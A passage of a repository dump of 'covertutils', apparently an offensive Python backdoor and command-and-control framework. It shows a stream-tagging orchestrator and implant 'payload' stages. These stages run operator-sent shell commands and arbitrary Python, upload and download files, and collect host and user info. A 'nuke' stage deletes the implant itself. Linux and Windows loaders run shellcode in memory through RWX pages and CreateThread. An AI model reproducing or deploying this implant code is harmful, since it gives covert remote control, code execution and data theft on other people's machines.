copydoc(fromfunc, sep="\n"): 62 | """ 63 | Decorator: Copy the docstring of `fromfunc` 64 | """ 65 | def _decorator(func): 66 | sourcedoc = fromfunc.__doc__ 67 | if sourcedoc == None : 68 | sourcedoc = '' 69 | if func.__doc__ == None: 70 | func.__doc__ = sourcedoc 71 | else: 72 | func.__doc__ = sep.join([sourcedoc, func.__doc__]) 73 | return func 74 | 75 | return _decorator 76 | -------------------------------------------------------------------------------- /covertutils/orchestration/__init__.py: -------------------------------------------------------------------------------- 1 | from covertutils.orchestration.streamidentifier import StreamIdentifier 2 | 3 | from covertutils.orchestration.orchestrator import Orchestrator 4 | 5 | from covertutils.orchestration.simpleorchestrator import SimpleOrchestrator 6 | 7 | from covertutils.orchestration.stegoorchestrator import StegoOrchestrator 8 | -------------------------------------------------------------------------------- /covertutils/orchestration/simpleorchestrator.py: -------------------------------------------------------------------------------- 1 | 2 | from covertutils.crypto.keys import StandardCyclingKey 3 | from covertutils.crypto.algorithms import StandardCyclingAlgorithm 4 | 5 | from covertutils.orchestration import StreamIdentifier 6 | 7 | from covertutils.orchestration import Orchestrator 8 | 9 | from covertutils.datamanipulation import Chunker 10 | from covertutils.datamanipulation import Compressor 11 | 12 | from covertutils.helpers import copydoc 13 | 14 | from string import ascii_letters 15 | 16 | from copy import deepcopy 17 | 18 | # 19 | class SimpleOrchestrator ( Orchestrator ) : 20 | """ 21 | The `SimpleOrchestrator` class combines compression, chunking, encryption and stream tagging, by utilizing the below ``covertutils`` classes: 22 | 23 | - :class:`covertutils.datamanipulation.Chunker` 24 | - :class:`covertutils.datamanipulation.Compressor` 25 | - :class:`covertutils.crypto.keys.StandardCyclingKey` 26 | - :class:`covertutils.orchestration.StreamIdentifier` 27 | 28 | """ 29 | 30 | def __init__( self, passphrase, tag_length = 2, out_length = 10, in_length = 10, streams = [], cycling_algorithm = None, reverse = False ) : 31 | """ 32 | :param str passphrase: The `passphrase` is the seed used to generate all encryption keys and stream identifiers. Two `SimpleOrchestrator` objects are compatible (can understand each other products) if they are initialized with the same `passphrase`. As `passphrase` is data argument, it is Case-Sensitive, and arbitrary bytes (not just printable strings) can be used. 33 | :param int tag_length: Every `Stream` is identified by a Tag, that is also data, appended to every `Message` chunk. The byte length of those tags can be set by this argument. Too small tags can mislead the `Orchestrator` object to recognise arbitrary data and try to process it (start decompressing it, decrypt it). Too large tags spend too much of a chunks bandwidth. 34 | :param int out_length: The data length of the chunks that are returned by the :func:`covertutils.orchestration.SimpleOrchestrator.readyMessage`. 35 | :param int in_length: The data length of the chunks that will be passed to :func:`covertutils.orchestration.SimpleOrchestrator.depositChunk`. 36 | :param list streams: The list of all streams needed to be recognised by the `SimpleOrchestrator`. A "control" stream is always hardcoded in a `SimpleOrchestrator` object. 37 | :param class cycling_algorithm: The hashing/cycling function used in all OTP crypto and stream identification. If not specified the :class:`covertutils.crypto.algorithms.StandardCyclingAlgorithm` will be used. The :class:`hashlib.sha256` is a great choice if `hashlib` is available. 38 | :param bool reverse: If this is set to `True` the `out_length` and `in_length` are internally reversed in the instance. This parameter is typically used to keep the parameter list the same between 2 `SimpleOrchestrator` initializations, yet make them `compatible`. 39 | """ 40 | self.out_length = out_length - tag_length 41 | self.in_length = in_length - tag_length 42 | 43 | super( SimpleOrchestrator, self ).__init__( passphrase, tag_length, cycling_algorithm = cycling_algorithm, streams = streams, reverse = reverse ) 44 | 45 | 46 | del passphrase 47 | 48 | @copydoc(Orchestrator.addStream) 49 | def addStream( self, stream ) : 50 | ret = super(SimpleOrchestrator, self).addStream( stream ) 51 | self.streams_buckets[ stream ]['chunker'] = Chunker( self.out_length, 52 | self.in_length, 53 | reverse = self.reverse, 54 | ) 55 | 56 | 57 | def reset( self, streams = None ) : 58 | """ 59 | This method resets all components of the `SimpleOrchestrator` instance, effectively flushing the Chunkers, restarting One-Time-Pad keys, etc. 60 | """ 61 | for stream in self.streams_buckets.keys() : 62 | self.streams_buckets[ stream ]['message'] = '' 63 | chunker = self.getChunkerForStream( stream ) 64 | chunker.reset() 65 | 66 | super(SimpleOrchestrator, self).reset(streams) 67 | -------------------------------------------------------------------------------- /covertutils/orchestration/streamidentifier.py: -------------------------------------------------------------------------------- 1 | from string import ascii_letters 2 | 3 | from covertutils.crypto.keys import StandardCyclingKey 4 | from covertutils.crypto.algorithms import StandardCyclingAlgorithm 5 | 6 | from covertutils.helpers import sxor, xor_str 7 | 8 | from covertutils.exceptions import * 9 | 10 | 11 | class StreamIdentifier : 12 | 13 | __comparer = ascii_letters 14 | 15 | def __init__( self, passphrase, stream_list = [], cycling_algorithm = None, reverse = False, hard_stream = 'control' ) : 16 | 17 | self.cycle = True # For testing 18 | # self.cycle = False # For testing 19 | if cycling_algorithm == "No" : 20 | self.cycle = False 21 | 22 | self.cycling_algorithm = cycling_algorithm 23 | if self.cycling_algorithm == None : 24 | self.cycling_algorithm = StandardCyclingAlgorithm 25 | 26 | self.__streams = {} 27 | self.hashphrase = self.cycling_algorithm( passphrase ).digest() 28 | 29 | stream_list = set( stream_list ) 30 | self.__hard_stream = hard_stream 31 | stream_list.add( self.__hard_stream ) # be sure that the list contains a control stream 32 | # self.__stream_generator = StandardCyclingKey( passphrase, cycling_algorithm ) 33 | 34 | self.reverse = reverse 35 | for stream_name in stream_list : 36 | self.addStream( stream_name ) 37 | 38 | 39 | def addStream( self, stream_name ) : 40 | if stream_name in self.__streams.keys() : 41 | raise StreamAlreadyExistsException( "Stream '%s' already exists" % stream_name ) 42 | 43 | inp_passphrase = self.cycling_algorithm( self.hashphrase + stream_name ).digest() 44 | out_passphrase = self.cycling_algorithm( stream_name + self.hashphrase ).digest() 45 | 46 | if self.reverse : 47 | inp_passphrase, out_passphrase = out_passphrase, inp_passphrase 48 | 49 | not_hard_stream = self.__hard_stream != stream_name 50 | inp_StandardCyclingKey = StandardCyclingKey ( inp_passphrase, cycling_algorithm = self.cycling_algorithm, cycle_enabled = not_hard_stream ) 51 | out_StandardCyclingKey = StandardCyclingKey ( out_passphrase, cycling_algorithm = self.cycling_algorithm, cycle_enabled = not_hard_stream ) 52 | 53 | StandardCyclingKey_tuple = ( inp_StandardCyclingKey, out_StandardCyclingKey ) 54 | self.__streams[stream_name] = StandardCyclingKey_tuple 55 | 56 | 57 | def deleteStream( self, stream_name ) : 58 | if stream_name == self.__hard_stream : 59 | raise StreamDeletionException( "Control Stream cannot be deleted!" ) 60 | del self.__streams[ stream_name ] 61 | 62 | 63 | def getHardStreamName( self ) : 64 | return self.__hard_stream 65 | 66 | 67 | def setHardStreamName( self, hard_stream ) : 68 | if hard_stream not in self.__streams : 69 | raise HardStreamException( "The Stream doesn't exist. Can't harden it." ) 70 | self.__hard_stream = hard_stream 71 | 72 | 73 | def getIdentifierForStream( self, stream_name = None, byte_len = 2 ) : 74 | if stream_name == None : 75 | stream_name = self.__hard_stream 76 | 77 | assert stream_name in self.__streams.keys() 78 | 79 | StandardCyclingKeys = self.__streams[ stream_name ] 80 | out_StandardCyclingKey = self.__streams[ stream_name ][1] 81 | 82 | ident = out_StandardCyclingKey.xor( self.__comparer[:byte_len], cycle = False ) 83 | 84 | hardIdentify = (stream_name == self.__hard_stream) 85 | self.__cycleKey( out_StandardCyclingKey, hardIdentify ) 86 | 87 | return ident 88 | 89 | 90 | def checkIdentifier( self, bytes_ ) : 91 | byte_len = len( bytes_ ) 92 | 93 | for stream_name, StandardCyclingKeys in self.__streams.items() : 94 | inp_StandardCyclingKey = StandardCyclingKeys[0] 95 | hardIdentify = (stream_name == self.__hard_stream) 96 | 97 | comparer = self.__comparer[:byte_len] 98 | plain = inp_StandardCyclingKey.xor( bytes_, cycle = False ) 99 | 100 | if plain == comparer : 101 | self.__cycleKey( inp_StandardCyclingKey, hardIdentify ) 102 | return stream_name 103 | 104 | return None 105 | 106 | 107 | def __cycleKey( self, key, hardIdentify ) : 108 | if not self.cycle : return 109 | if not hardIdentify : 110 | key.cycle() 111 | 112 | 113 | def getStreams( self, ) : 114 | return self.__streams.keys() 115 | 116 | 117 | def reset( self ) : 118 | for stream_name, StandardCyclingKeys in self.__streams.items() : 119 | for key in StandardCyclingKeys : 120 | key.reset() 121 | -------------------------------------------------------------------------------- /covertutils/payloads/__init__.py: -------------------------------------------------------------------------------- 1 | import marshal 2 | 3 | # print "Importing %s" % __name__ 4 | def dinit( storage ) : 5 | return 1 6 | 7 | def import_payload_from_module( module ) : 8 | try: 9 | init = module.init 10 | except: 11 | init = dinit 12 | work = module.work 13 | return init, work 14 | 15 | 16 | def __str_to_module( module_str ) : 17 | # print globals() 18 | ret_mod = __import__(module_str, globals(), locals(), ['object'], -1) 19 | return ret_mod 20 | 21 | 22 | def import_stage_from_module_str( module_str ) : 23 | ret = {} 24 | module = __str_to_module( module_str ) 25 | ret = import_stage_from_module( module ) 26 | return ret 27 | 28 | 29 | def import_stage_from_module( module ) : 30 | init, work = import_payload_from_module (module) 31 | ret = __form_stage_from_function( init, work ) 32 | try : 33 | shell_class = module.shell 34 | except Exception as e: 35 | # print e, module 36 | shell_class = None 37 | ret['shell'] = shell_class # import the shell in the module if available 38 | return ret 39 | 40 | 41 | def __form_stage_from_function( init, work ) : 42 | ret = {} 43 | dict_ = {'init' : init, 'work' : work} 44 | try: # Python 3 45 | code = {'init' : init.__code__, 'work' : work.__code__} 46 | except AttributeError: # Python 2 47 | code = {'init' : init.func_code, 'work' : work.func_code} 48 | ret['object'] = dict_ 49 | ret['python'] = code 50 | try : 51 | marshaled = marshal.dumps(code) 52 | except ValueError: 53 | marshaled = None 54 | 55 | try : 56 | import dill 57 | dilled = dill.dumps(code) 58 | except ImportError: 59 | dilled = None 60 | ret['dill'] = dilled 61 | ret['marshal'] = marshaled 62 | 63 | return ret 64 | 65 | GenericStages, WindowsStages, LinuxStages = None, None, None 66 | 67 | def generatePayloads( ) : 68 | 69 | global GenericStages 70 | global WindowsStages 71 | global LinuxStages 72 | 73 | LinuxStages = {} 74 | # LinuxStages['shellcode'] = import_stage_from_module_str('linux.shellcode') 75 | from covertutils.payloads.linux import shellcode as lshellcode 76 | LinuxStages['shellcode'] = import_stage_from_module(lshellcode) 77 | 78 | WindowsStages = {} 79 | # WindowsStages['shellcode'] = import_stage_from_module_str('windows.shellcode') 80 | from covertutils.payloads.windows import shellcode as wshellcode 81 | WindowsStages['shellcode'] = import_stage_from_module(wshellcode) 82 | 83 | GenericStages = {} 84 | # GenericStages['echo'] = import_stage_from_module_str('generic.echo') 85 | # GenericStages['shell'] = import_stage_from_module_str('generic.shell') 86 | # GenericStages['shellprocess'] = import_stage_from_module_str('generic.shellprocess') 87 | # GenericStages['pythonapi'] = import_stage_from_module_str('generic.pythonapi') 88 | # GenericStages['control'] = import_stage_from_module_str('generic.control') 89 | 90 | from covertutils.payloads.generic import control, shell, shellprocess, pythonapi, echo, meterpreter, file as file_ 91 | GenericStages['control'] = import_stage_from_module(control) 92 | GenericStages['shell'] = import_stage_from_module(shell) 93 | GenericStages['shellprocess'] = import_stage_from_module(shellprocess) 94 | GenericStages['pythonapi'] = import_stage_from_module(pythonapi) 95 | GenericStages['echo'] = import_stage_from_module(echo) 96 | GenericStages['file'] = import_stage_from_module(file_) 97 | GenericStages['meterpreter'] = import_stage_from_module(meterpreter) 98 | 99 | return GenericStages, WindowsStages, LinuxStages 100 | 101 | 102 | generatePayloads() 103 | # 104 | # print(GenericStages 105 | # print("") 106 | # print(LinuxStages) 107 | # print("") 108 | # print(WindowsStages) 109 | 110 | 111 | # if __name__ == '__main__' : 112 | # 113 | # import sys 114 | # payload_dicts = [LinuxStages, WindowsStages, GenericStages] 115 | # for pload in payload_dicts : 116 | # marshal.dumps 117 | -------------------------------------------------------------------------------- /covertutils/payloads/generic/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/operatorequals/covertutils/2d1eae695f8a4ace12331ce3dc31125eb3d308df/covertutils/payloads/generic/__init__.py -------------------------------------------------------------------------------- /covertutils/payloads/generic/control.py: -------------------------------------------------------------------------------- 1 | def init( storage ) : 2 | Commands = { 3 | 'reset' : 'R', 4 | 'identity' : 'ID', 5 | 'sysinfo' : 'SI', 6 | 'kill' : 'KI', 7 | 'mute' : 'MU', 8 | 'unmute' : 'UM', 9 | 'nuke' : 'NK', 10 | 'check_sync' : 'CS', 11 | 'sync' : 'Y', 12 | 'chpasswd' : 'PWD', 13 | } 14 | storage['commands'] = Commands 15 | def wait_exit() : 16 | import os, random, time 17 | time.sleep(random.randint(1,5)) 18 | os._exit(random.randint(0,256)) 19 | storage['wait_exit_func'] = wait_exit 20 | 21 | def nuke() : 22 | import os, sys 23 | filename = sys.argv[0] 24 | os.unlink(filename) 25 | storage['nuke_func'] = nuke 26 | 27 | def dummy_send(raw) : return 28 | storage['dummy_send_func'] = dummy_send 29 | storage['real_send_func'] = storage['COMMON']['handler'].send_function 30 | 31 | def chpasswd (passwd) : 32 | from time import sleep 33 | sleep(0.1) 34 | storage['COMMON']['handler'].getOrchestrator().initCrypto(passwd) 35 | storage['chpasswd_func'] = chpasswd 36 | 37 | return True 38 | 39 | 40 | def work( storage, message ) : 41 | # print( "Control message: %s" % message ) 42 | import re 43 | args = re.split("\s", message) 44 | message = args[0] 45 | 46 | if message == storage['commands']['reset'] : 47 | storage['COMMON']['handler'].reset() 48 | return 'OK' 49 | elif message == storage['commands']['identity'] : 50 | return storage['COMMON']['handler'].orchestrator.getIdentity()[:8] 51 | 52 | elif message == storage['commands']['sync'] : 53 | stream = args[1] 54 | # print type(args), args 55 | storage['COMMON']['handler'].getOrchestrator().reset( streams = [stream] ) 56 | # print "Reseted" 57 | return 'OK' 58 | 59 | elif message == storage['commands']['chpasswd'] : 60 | new_passwd = args[1] 61 | import threading 62 | print storage.keys() 63 | chpasswd_thread = threading.Thread( target = storage['chpasswd_func'], args = ( new_passwd, ) ) 64 | chpasswd_thread.start() 65 | return 'OK' 66 | 67 | 68 | elif message == storage['commands']['kill'] : 69 | storage['COMMON']['handler'].stop() 70 | import threading 71 | kill_thread = threading.Thread(target = storage['wait_exit_func']) 72 | kill_thread.start() 73 | return "OK" 74 | 75 | elif message == storage['commands']['mute'] : 76 | # if (storage['COMMON']['handler']) # If it is interrogating, 77 | storage['COMMON']['handler'].send_function = storage['dummy_send_func'] 78 | return "OK" # just for the hell of it 79 | 80 | elif message == storage['commands']['unmute'] : 81 | storage['COMMON']['handler'].send_function = storage['real_send_func'] 82 | return "OK" # 83 | 84 | elif message == storage['commands']['nuke'] : 85 | storage['nuke_func']() 86 | return "OK" # 87 | 88 | elif message == storage['commands']['check_sync'] : 89 | import json 90 | orch = storage['COMMON']['handler'].getOrchestrator() 91 | ret_dict = {} 92 | for stream in orch.getStreams() : 93 | ret_dict[stream] = orch.getKeyCycles(stream) 94 | ret = json.dumps(ret_dict).replace( " ","" ) 95 | return ret 96 | 97 | elif message == storage['commands']['sysinfo'] : 98 | import platform, json, getpass, locale 99 | ret = "+".join([ # 113 bytes 100 | platform.node(), 101 | platform.machine(), 102 | platform.version(), 103 | '-'.join(locale.getdefaultlocale()), 104 | platform.platform(), 105 | platform.release(), 106 | platform.system(), 107 | platform.processor(), 108 | getpass.getuser(), 109 | '-'.join(platform.win32_ver()), 110 | '-'.join(platform.libc_ver()), 111 | # '-'.join(platform.mac_ver()), 112 | ]) 113 | # ret = json.dumps(info).replace( " ","" ) # to save some bytes 114 | return ret 115 | else : 116 | return "N/A" 117 | -------------------------------------------------------------------------------- /covertutils/payloads/generic/echo.py: -------------------------------------------------------------------------------- 1 | def work( storage, message ) : 2 | print( "Staged function Loaded and run!" ) 3 | return message 4 | -------------------------------------------------------------------------------- /covertutils/payloads/generic/example.py: -------------------------------------------------------------------------------- 1 | """ 2 | This code isn't really useful and it is meant to be a guide for making custom `stages` using the ``covertutils`` API 3 | """ 4 | def init(storage) : 5 | ''' 6 | :param dict storage: The storage object is the only persistent object between runs of both `init()` and `work()`. It is treated as a "Local Storage" for the `stage`. 7 | :return: This function must **always** return True if the initialization is succesfull. If `False` values are returned the `stage` doesn't start and `work()` is never called. 8 | ''' 9 | print( "Initializing stage!" ) 10 | """Saving an arbitrary value to communicate with ``work()`` function""" 11 | storage['counter'] = 0 12 | return True 13 | 14 | 15 | def work(storage, message) : 16 | ''' 17 | :param dict storage: The storage object is the only persistent object between runs of both `init()` and `work()`. It is treated as a "Local Storage" for the `stage`. 18 | :param str message: The data sent from the `Handler` to that `stage`. 19 | :rtype: str 20 | :return: The response to message that arrived. This exact response will reach the `Handler` in the other side. 21 | ''' 22 | print( "Running for handler's message '%s'" % message ) 23 | """Keep state of how many messages have arrived. The `storage` `dict` gets preserved through function calls""" 24 | storage['counter'] += 1 25 | print( "Returning the message in reverse" ) 26 | return "{count} - {response}".format(count = storage['counter'], response = message[::-1]) # Reversing the output 27 | 28 | 29 | """ Defining a specific SubShell for the `stage` """ 30 | from covertutils.shells.subshells import ExampleSubShell as shell 31 | -------------------------------------------------------------------------------- /covertutils/payloads/generic/file.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | # TODO: make the D/U buffering to disk instead of memory 5 | def work( storage, message ) : 6 | try : 7 | comm = message.split(':', 1)[0] 8 | except : 9 | return "ERR" 10 | 11 | if comm == 'U' : 12 | try : 13 | comm, filename, content = message.split(':', 2) 14 | except : 15 | return "ERR" 16 | f = open(filename, 'wb') 17 | f.write(content) 18 | f.close() 19 | return "OK" 20 | 21 | if comm == 'D' : 22 | try : 23 | comm, filename = message.split(':', 1) 24 | f = open(filename, 'rb') 25 | content = f.read() 26 | f.close() 27 | return ":".join(["D", content]) 28 | except : 29 | return "ERR" 30 | 31 | # return content 32 | return "ERR" 33 | 34 | 35 | from covertutils.shells.subshells import FileSubShell as shell 36 | 37 | # !stage mload covertutils.payloads.generic.file 38 | -------------------------------------------------------------------------------- /covertutils/payloads/generic/info.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | def __system_info( storage, message ) : 5 | import platform,json, getpass 6 | # info = { # 131 bytes 7 | # 'm' : platform.machine(), 8 | # 'v' : platform.version(), 9 | # 'p' : platform.platform(), 10 | # 's' : platform.system(), 11 | # 'c' : platform.processor(), 12 | # 'u' : getpass.getuser() 13 | # } 14 | # ret = json.dumps(info).replace( " ","" ) # to save some bytes 15 | ret = ":".join([ # 113 bytes 16 | platform.machine(), 17 | platform.version(), 18 | platform.platform(), 19 | platform.system(), 20 | platform.processor(), 21 | getpass.getuser() 22 | ]) 23 | return ret 24 | -------------------------------------------------------------------------------- /covertutils/payloads/generic/pythonapi.py: -------------------------------------------------------------------------------- 1 | def work( storage, message ) : 2 | import sys 3 | import StringIO 4 | ret = ' ' 5 | try : 6 | # print "Starting Execution" 7 | compiled_message = compile(message, '', 'exec') 8 | # print "Compiled" 9 | retIO = StringIO.StringIO() 10 | sys.stdout = retIO 11 | exec (compiled_message) 12 | sys.stdout = sys.__stdout__ 13 | # print "Executed" 14 | ret = retIO.getvalue() 15 | except Exception as e: 16 | ret = str(e) 17 | # print "Exception on execution of '%s'" % message 18 | # print e 19 | return ret 20 | 21 | 22 | from covertutils.shells.subshells import PythonAPISubShell as shell 23 | -------------------------------------------------------------------------------- /covertutils/payloads/generic/shell.py: -------------------------------------------------------------------------------- 1 | def work( storage, message ) : 2 | from os import popen 3 | 4 | try : 5 | result = popen( message ).read() 6 | return result 7 | except Exception as e : 8 | return "Module Exception: " + repr(e) 9 | -------------------------------------------------------------------------------- /covertutils/payloads/generic/shellprocess.py: -------------------------------------------------------------------------------- 1 | 2 | def init( storage ) : 3 | from subprocess import Popen, PIPE 4 | import os 5 | # print "Payload init()" 6 | os_specs = { 7 | 'nt' : {'shell':'cmd.exe', 'comm_sep' : '&'}, 8 | 'posix' : {'shell':'sh', 'comm_sep' : ';'} 9 | } 10 | storage['os_specs'] = os_specs 11 | # print shell 12 | storage['process'] = Popen( [os_specs[os.name]['shell']], stdout=PIPE, stderr=PIPE, stdin=PIPE, shell = True, bufsize = -1 ) 13 | return True 14 | 15 | 16 | def work( storage, message ) : 17 | p = storage['process'] 18 | from select import select 19 | from time import sleep 20 | # print "Payload work()" 21 | import os 22 | 23 | mark = os.urandom(4).encode('hex') 24 | command = "{command} {comm_sep} echo {token} {linesep}".format(command=message, 25 | comm_sep = storage['os_specs'][os.name]['comm_sep'], 26 | linesep=os.linesep, 27 | token= mark) 28 | # print command, command.encode('hex') 29 | p.stdin.write(command) 30 | p.stdin.flush() 31 | stdout_ret = '' 32 | while True : 33 | stdout_data = p.stdout.readline() 34 | # print "STDOUT: '%s'"% stdout_data 35 | if mark in stdout_data or not stdout_data: 36 | # print stdout_data.startswith(mark) 37 | break 38 | stdout_ret += stdout_data 39 | return stdout_ret 40 | -------------------------------------------------------------------------------- /covertutils/payloads/linux/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/operatorequals/covertutils/2d1eae695f8a4ace12331ce3dc31125eb3d308df/covertutils/payloads/linux/__init__.py -------------------------------------------------------------------------------- /covertutils/payloads/linux/shellcode.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | def work( storage, message ) : 5 | from ctypes import CDLL, c_char_p, c_void_p, memmove, cast, CFUNCTYPE, create_string_buffer 6 | from multiprocessing import Process 7 | shellcode = message 8 | size = len(shellcode) 9 | # print( len(shellcode) ) 10 | 11 | libc = CDLL('libc.so.6') 12 | sc = c_char_p(shellcode) 13 | addr = c_void_p(libc.valloc(size)) 14 | print( "Memoving" ) 15 | memmove(addr, sc, size) 16 | print( "Changing page protection" ) 17 | libc.mprotect(addr, size, 0x7) 18 | print( "Making the process code" ) 19 | run = cast(addr, CFUNCTYPE(c_void_p)) 20 | 21 | # memorywithshell = create_string_buffer(shellcode, len(shellcode)) 22 | # libc.mprotect(memorywithshell, size, 0x7) 23 | # run = cast(memorywithshell, CFUNCTYPE(c_void_p)) 24 | 25 | # run() 26 | p = Process(target=run) # run the shellcode as independent process 27 | p.start() 28 | 29 | 30 | from covertutils.shells.subshells import ShellcodeSubShell as shell 31 | -------------------------------------------------------------------------------- /covertutils/payloads/windows/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/operatorequals/covertutils/2d1eae695f8a4ace12331ce3dc31125eb3d308df/covertutils/payloads/windows/__init__.py -------------------------------------------------------------------------------- /covertutils/payloads/windows/shellcode.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | def init(storage) : 4 | 5 | import ctypes 6 | import ctypes.wintypes as wintypes 7 | 8 | class __PROCESS_INFORMATION(ctypes.Structure): 9 | """see: 10 | http://msdn.microsoft.com/en-us/library/windows/desktop/ms684873(v=vs.85).aspx 11 | """ 12 | _fields_ = [("hProcess", wintypes.HANDLE), 13 | ("hThread", wintypes.HANDLE), 14 | ("dwProcessId", wintypes.DWORD), 15 | ("dwThreadId", wintypes.DWORD),] 16 | wintypes.PROCESS_INFORMATION = __PROCESS_INFORMATION 17 | 18 | pid = wintypes.PROCESS_INFORMATION().dwProcessId 19 | PROCESS_ALL_ACCESS = (0x000F0000|0x00100000|0xFFF) 20 | handle = ctypes.windll.kernel32.OpenProcess( 21 | PROCESS_ALL_ACCESS, 22 | False, 23 | pid 24 | ) 25 | storage['process_pid'] = pid 26 | storage['process_handle'] = handle 27 | ModuleHandle = ctypes.windll.kernel32.GetModuleHandleA("kernel32.dll") 28 | LoadLibraryA = ctypes.windll.kernel32.GetProcAddress( 29 | wintypes.HANDLE(ModuleHandle), 30 | "LoadLibraryA", 31 | ) 32 | storage['LoadLibraryA'] = LoadLibraryA 33 | return True 34 | 35 | 36 | def work( storage, message ) : 37 | 38 | shellcode = message 39 | import ctypes 40 | # import ctypes.wintypes as wintypes 41 | 42 | # def get_last_error(desc, val): 43 | # # return # Comment out the return to see return and error values 44 | # print( "%s=0x%x, GetCurrentError=0x%x (%d)" % (desc, val, ctypes.windll.kernel32.GetLastError(), ctypes.windll.kernel32.GetLastError()) ) 45 | 46 | 47 | 48 | ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), 49 | ctypes.c_int(len( shellcode )), 50 | ctypes.c_int(0x1000), 51 | # ctypes.c_int(0x3000), 52 | ctypes.c_int(0x40)) 53 | 54 | shellcodeaddress = ptr 55 | 56 | buf = (ctypes.c_char * len(shellcode)).from_buffer(bytearray(shellcode)) 57 | 58 | ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), 59 | buf, 60 | ctypes.c_int(len(shellcode))) 61 | 62 | # get_last_error("WriteProcessMemory", result); 63 | # 64 | # result = ctypes.windll.kernel32.WriteProcessMemory( 65 | # storage['process_handle'], 66 | # shellcodeaddress, 67 | # shellcode, 68 | # len(shellcode), 69 | # None, 70 | # ) 71 | 72 | # get_last_error("WriteProcessMemory", result); 73 | 74 | ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), 75 | ctypes.c_int(0), 76 | ctypes.c_int(ptr), 77 | ctypes.c_int(0), 78 | ctypes.c_int(0), 79 | ctypes.pointer(ctypes.c_int(0))) 80 | 81 | # ht = ctypes.windll.kernel32.CreateRemoteThread( 82 | # storage['process_handle'], 83 | # ctypes.c_int(0), 84 | # ctypes.c_int(0), 85 | # shellcodeaddress, 86 | # ctypes.c_int(0), 87 | # ctypes.c_int(0), 88 | # ctypes.pointer(ctypes.c_int(0)), 89 | # ) 90 | # get_last_error("CreateRemoteThread", remote_thread); 91 | # print( remote_thread ) 92 | ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1)) 93 | print( "A" ) 94 | 95 | 96 | if '__main__' == __name__ : 97 | 98 | import sys 99 | 100 | shellhex = sys.argv[1] 101 | 102 | store = {} 103 | init(store) 104 | work(store, shellhex.decode('hex')) 105 | 106 | sys.exit() 107 | 108 | from covertutils.shells.subshells import ShellcodeSubShell as shell 109 | 110 | 111 | # !stage mload covertutils.payloads.windows.shellcode 112 | -------------------------------------------------------------------------------- /covertutils/shells/__init__.py: -------------------------------------------------------------------------------- 1 | """ 2 | The `shells` package provides Shell classes. They can be inherited for extra features but are also ready to be used. 3 | """ 4 | from covertutils.shells.baseshell import BaseShell 5 | -------------------------------------------------------------------------------- /covertutils/shells/impl/__init__.py: -------------------------------------------------------------------------------- 1 | 2 | from covertutils.shells.impl.standardshell import StandardShell 3 | 4 | from covertutils.shells.impl.meterpretershell import MeterpreterShell 5 | 6 | from covertutils.shells.impl.simpleshell import SimpleShell 7 | 8 | from covertutils.shells.impl.extendableshell import ExtendableShell 9 | -------------------------------------------------------------------------------- /covertutils/shells/impl/extendableshell.py: -------------------------------------------------------------------------------- 1 | from covertutils.shells import BaseShell 2 | 3 | from covertutils.shells.subshells import * 4 | 5 | from covertutils.helpers import defaultArgMerging 6 | 7 | 8 | class ExtendableShell (BaseShell) : 9 | 10 | Defaults = {} 11 | Defaults['subshells'] = { 12 | 'control' : ControlSubShell, 13 | 'python' : PythonAPISubShell, 14 | 'os-shell' : SimpleSubShell, 15 | 'file' : FileSubShell, 16 | 'stage' : StageSubShell, 17 | } 18 | Defaults['prompt'] = "({package} v{version})> " 19 | 20 | def __init__( self, handler, 21 | log_unrecognised = False, 22 | **kw 23 | ) : 24 | args = defaultArgMerging(ExtendableShell.Defaults, kw) 25 | BaseShell.__init__( self, handler, **args ) 26 | -------------------------------------------------------------------------------- /covertutils/shells/impl/meterpretershell.py: -------------------------------------------------------------------------------- 1 | from covertutils.shells.subshells import MeterpreterSubShell 2 | from covertutils.shells.subshells import ControlSubShell 3 | from covertutils.shells import BaseShell 4 | 5 | 6 | from covertutils.helpers import defaultArgMerging 7 | 8 | 9 | class MeterpreterShell (BaseShell) : 10 | 11 | Defaults = {} 12 | Defaults['subshells'] = { 13 | 'control' : ControlSubShell, 14 | 'meterpreter' : MeterpreterSubShell, 15 | } 16 | # Defaults['prompt'] = "({package} v{version})> " 17 | 18 | def __init__( self, handler, 19 | **kw 20 | ) : 21 | # handler.getOrchestrator().addStream('meterpreter') 22 | # handler.getOrchestrator().streamIdent.setHardStreamName('meterpreter') 23 | # handler.getOrchestrator().deleteStream('control') 24 | 25 | args = defaultArgMerging(MeterpreterShell.Defaults, kw) 26 | BaseShell.__init__( self, handler, **args ) 27 | -------------------------------------------------------------------------------- /covertutils/shells/impl/simpleshell.py: -------------------------------------------------------------------------------- 1 | from covertutils.shells import BaseShell 2 | from covertutils.shells.subshells import * 3 | 4 | from covertutils.helpers import defaultArgMerging 5 | 6 | 7 | class SimpleShell (BaseShell) : 8 | 9 | Defaults = {} 10 | Defaults['subshells'] = { 11 | 'control' : SimpleSubShell, 12 | } 13 | Defaults['prompt'] = "({package} v{version})> " 14 | 15 | def __init__( self, handler, 16 | **kw 17 | ) : 18 | args = defaultArgMerging(SimpleShell.Defaults, kw) 19 | BaseShell.__init__( self, handler, **args ) 20 | -------------------------------------------------------------------------------- /covertutils/shells/impl/standardshell.py: -------------------------------------------------------------------------------- 1 | from covertutils.shells import BaseShell 2 | from covertutils.shells.subshells import ControlSubShell, PythonAPISubShell, SimpleSubShell 3 | 4 | from covertutils.helpers import defaultArgMerging 5 | 6 | 7 | class StandardShell (BaseShell) : 8 | 9 | Defaults = {} 10 | Defaults['subshells'] = { 11 | 'control' : ControlSubShell, 12 | 'python' : PythonAPISubShell, 13 | 'os-shell' : SimpleSubShell, 14 | } 15 | Defaults['prompt'] = "({package} v{version})> " 16 | 17 | def __init__( self, handler, 18 | **kw 19 | ) : 20 | args = defaultArgMerging(StandardShell.Defaults, kw) 21 | BaseShell.__init__( self, handler, **args ) 22 | self.sysinfo = None 23 | -------------------------------------------------------------------------------- /covertutils/shells/multi/__init__.py: -------------------------------------------------------------------------------- 1 | from covertutils.shells.multi.shell import MultiShell 2 | -------------------------------------------------------------------------------- 